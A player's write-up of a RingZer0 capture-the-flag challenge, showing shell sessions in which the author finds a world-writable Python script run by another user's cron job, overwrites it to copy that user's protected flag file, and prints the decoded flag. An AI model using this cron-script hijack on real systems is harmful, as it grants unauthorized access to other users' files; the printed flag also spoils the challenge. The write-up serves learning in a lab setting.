RingZer0 Team Online CTF

This is my write-up for Challenge 147

SysAdmin Part 8 / Level 8

Ref: https://ringzer0team.com/challenges/147

By
theindian

Committed
August 8th, 2018

Tools and references used

- Linux knowledge;
- Buy a hint and got: Did you have write permission on some file owned by cypher? Backup is your helper!
- For spelling and grammatical errors, I am sorry. English is not my natural language.

HowTo CTF

When I log on Level8, I have access to "*/home/cypher"* where a "*flag.txt*" file exist, but I have no access:

```
morpheus@lxc-sysadmin:/home/cypher$ whoami
morpheus
morpheus@lxc-sysadmin:/run/shm/.tmp$ ls -la /home/cypher
total 32
drwxrwxrwx 2 cypher cypher 4096 Aug  8 12:40 .
drwxr-xr-x 8 root   root   4096 May 30 18:08 ..
lrwxrwxrwx 1 root   root      9 May 30 18:08 .bash_history -> /dev/null
-rwxrwxrwx 1 cypher cypher  235 May 30 18:08 .bash_logout
-rwxrwxrwx 1 cypher cypher 3414 May 30 18:08 .bashrc
-rw-rw-r-- 1 cypher cypher    0 Aug  5 01:21 flagdata
-rw------- 1 cypher cypher   52 May 30 18:08 flag.txt
-rwxrwxrwx 1 cypher cypher 5416 Jun 23 11:46 info.txt
-rwxrwxrwx 1 cypher cypher  675 May 30 18:08 .profile
```

Ok, I decide to buy a hint and I got "*Did you have write permission on some file owned by cypher? Backup is your helper!*". Root contains a /backup directory with four files. When I execute command "*file /backup/**", I got "*POSIX tar archive (GNU)*" for all.

```
morpheus@lxc-sysadmin:/backup$ file /backup/*
/backup/3dab3277410dddca016834f91d172027: POSIX tar archive (GNU)
/backup/776d27d2a429e63bbc3cb29183417bb2: POSIX tar archive (GNU)
/backup/c074fa6ec17bb35e168366c43cf4cd19: POSIX tar archive (GNU)
/backup/ca584b15ae397a9ad45b1ff267b55796: POSIX tar archive (GNU)
```

I look inside of each file with a "*tar -tvf /backup/….*" Where I got this information:

`3dab3277410dddca016834f91d172027`	Not helpful, a syslog;
`c074fa6ec17bb35e168366c43cf4cd19`	Not helpful, for oracle user;
`776d27d2a429e63bbc3cb29183417bb2`	Contain a Python scrip "*Gathering.py*" and cypher is the owner;
`ca584b15ae397a9ad45b1ff267b55796`	Oups! Seam contains the crontab for cypher users. Could be helpful;

```
morpheus@lxc-sysadmin:/backup$ tar -tvf 776d27d2a429e63bbc3cb29183417bb2
drwxrwx-wt root/root         0 2014-03-13 02:12 tmp/
-rwxrwxrwx cypher/cypher    54 2014-03-13 02:04 tmp/Gathering.py

morpheus@lxc-sysadmin:/backup$ tar -tvf ca584b15ae397a9ad45b1ff267b55796
drwxr-xr-x root/root         0 2014-02-25 19:12 var/spool/cron/
drwxrwx--T daemon/daemon     0 2012-06-09 11:46 var/spool/cron/atspool/
drwx-wx--T root/crontab      0 2014-03-13 02:02 var/spool/cron/crontabs/
-rw------- cypher/crontab 1126 2014-03-13 02:02 var/spool/cron/crontabs/cypher
drwxrwx--T daemon/daemon     0 2014-02-25 19:12 var/spool/cron/atjobs/
-rw------- daemon/daemon     2 2014-02-25 19:12 var/spool/cron/atjobs/.SEQ
```

Let me find a place where I have a read-write access with a "*find / -writable 2>/dev/null | more*". The directory "*/run/shm*" seem good. I created a directory "*/run/shm/.tmp*" (yes, I hide a little bit my stuff). I extract backup from "*776d27d2a429e63bbc3cb29183417bb2*" and "*ca584b15ae397a9ad45b1ff267b55796*" in my "*/run/shm/.tmp*". Now let me see what "*cypher*" user execute through crontab:

```
morpheus@lxc-sysadmin:/run/shm/.tmp$ cat var/spool/cron/crontabs/cypher
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.f7mcQy/crontab installed on Wed Mar 12 22:02:27 2014)
:
:
# m h  dom mon dow   command
*/3 * * * * python /tmp/Gathering.py
```

The user "*cypher*" execute at every three minutes the command; "*python /tmp/Gathering.py*" Now let me check if I have a "*/tmp/Gathering.py*". I have one and I have a read-write access to it. I change the "*/tmp/Gathering.py*" for running my stuff. Remember upstairs, I could read all file in "*/home/cypher*", except "*flag.txt*". I will try to grab it.

```
morpheus@lxc-sysadmin:/run/shm/.tmp$ cat /tmp/Gathering.py
import os
os.system('cat /home/cypher/flag.txt >>/run/shm/.tmp/flag.txt')
```

The crontab seem to have executed my "*Gathering.py*" and stuff, but no "*flag.txt*" !!!! Why? And the "*Gathering.py*" has returned to his default:

```
morpheus@lxc-sysadmin:/run/shm/.tmp$ cat /tmp/Gathering.py
import os
os.system('ps aux > /tmp/28JNvE05KBltE8S7o2xu')
```

Stupid things, user "*cypher*" doesn't have access to my "*/run/shm/.tmp*". I execute "*chmod 777 /run/shm/.tmp*" and let me change again the "*Gathering.py*" with my stuff and wait. After few minutes. Bingo!!! I got a "*flag.txt"* in my "*.tmp*".

```
morpheus@lxc-sysadmin:/run/shm/.tmp$ ls -l
total 4
-rw-rw-r-- 1 cypher   cypher   52 Aug  9 01:00 flag.txt   Wow! Info that I want!
drwxrwx--x 2 morpheus morpheus 60 Mar 13  2014 tmp
drwxrwxr-x 3 morpheus morpheus 60 Aug  9 00:30 var
morpheus@lxc-sysadmin:/run/shm/.tmp$ cat flag.txt
BASE ?
RkxBRy1weXMzZ2ZjenQ5cERrRXoyaW8wUHdkOEtOego=
morpheus@lxc-sysadmin:/run/shm/.tmp$ echo RkxBRy1weXMzZ2ZjenQ5cERrRXoyaW8wUHdkOEtOego= | base64 -d
FLAG-pys3gfczt9pDkEz2io0Pwd8KNz
```

Clean my stuff. "*rm -r /run/shm/.tmp*"

Answer: FLAG-pys3gfczt9pDkEz2io0Pwd8KNz

Enjoy!
TheIndian